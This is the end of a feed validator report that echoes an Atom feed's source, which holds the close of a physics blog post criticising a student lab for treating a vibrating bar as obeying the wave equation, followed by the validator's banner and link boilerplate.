  1518. \cosh(k L)\cos(k L) = 1
  1519. </annotation></semantics></math>
  1520. </div>
  1521.  
  1522. <p>which is nothing like (<a href="#e2702:modes">4</a>). The first few solutions to (<a href="#e2702:newmodes">7</a>) are <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>k</mi><mi>L</mi><mo>=</mo><mn>1.50562</mn><mi>&#x003C0;</mi><mo>,</mo><mspace width="0.16667em"/><mn>2.49975</mn><mi>&#x003C0;</mi><mo>,</mo><mspace width="0.16667em"/><mn>3.50001</mn><mi>&#x003C0;</mi></mrow><annotation encoding='application/x-tex'>k L = 1.50562\pi,\, 2.49975\pi,\, 3.50001\pi</annotation></semantics></math>, and the lowest mode has a vague (and somewhat accidental) resemblance to the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>n=2</annotation></semantics></math> mode of (<a href="#e2702:normalmodes">5</a>).</p>
  1523.  
  1524. <p>Analyzing the solutions to (<a href="#e2702:Euler">6</a>) is very interesting, but arguably <em>way</em> more complicated than we ought to be doing for students still struggling to understand (<a href="#e2702:waveeqn">1</a>). But assigning them the task of studying the vibrating bar experimentally, and <em>telling</em> them that it&#8217;s governed by (<a href="#e2702:waveeqn">1</a>), is just a <em>complete</em> disservice.</p>
  1525.  
  1526. <p>What were the folks who designed the lab <em>thinking</em>?</p>
  1527.  
  1528.      </div>
  1529.    </content>
  1530.  </entry>
  1531.  
  1532. </feed>

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid Atom 1.0" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=https%3A//golem.ph.utexas.edu/%7Edistler/blog/atom10.xml

Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda